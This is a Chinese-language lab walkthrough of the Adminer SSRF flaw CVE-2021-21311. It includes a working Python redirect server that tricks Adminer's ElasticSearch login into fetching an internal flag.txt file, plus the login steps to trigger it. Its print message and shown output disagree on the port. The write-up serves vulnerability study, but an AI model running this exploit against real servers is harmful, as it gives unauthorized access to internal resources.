Adminer ElasticSearch 和 ClickHouse 错误页面SSRF漏洞(CVE-2021-21311)

Adminer是一个PHP编写的开源数据库管理工具,支持MySQL、MariaDB、PostgreSQL、SQLite、MS SQL、Oracle、Elasticsearch、MongoDB等数据库。

在其4.0.0到4.7.9版本之间,连接 ElasticSearch 和 ClickHouse 数据库时存在一处服务端请求伪造漏洞(SSRF)。

漏洞复现

靶机启动后,在http://your-ip:80即可查看到Adminer的登录页面。

漏洞利用

在Adminer登录页面,选择ElasticSearch作为系统目标,并在server字段填写example.com,点击登录即可看到example.com返回的400错误页面展示在页面中:

使用python3写一段脚本,使用http服务,监听1111端口,设置重定向到http://192.168.2.47:80/flag.txt,读取flag文件

import http.server
import socketserver

class RedirectHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        # 设置重定向到指定URL
        self.send_response(301)  # 301: 永久重定向
        self.send_header('Location', 'http://192.168.2.47:80/flag.txt')  # 设置重定向地址
        self.end_headers()

def run(server_class=http.server.HTTPServer, handler_class=RedirectHandler):
    server_address = ('', 1111)  # 监听1111端口
    httpd = server_class(server_address, handler_class)
    print('Server running on port 80...')
    httpd.serve_forever()

if __name__ == '__main__':
    run()

运行脚本,监听1111端口

python3 exploit.py
Server running on port 1111...

网页上输入服务器192.168.2.6:1111,用户名root,密码随机,然后点登陆

漏洞利用成功,可以看到页面上就显示了flag.txt文件的内容。

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐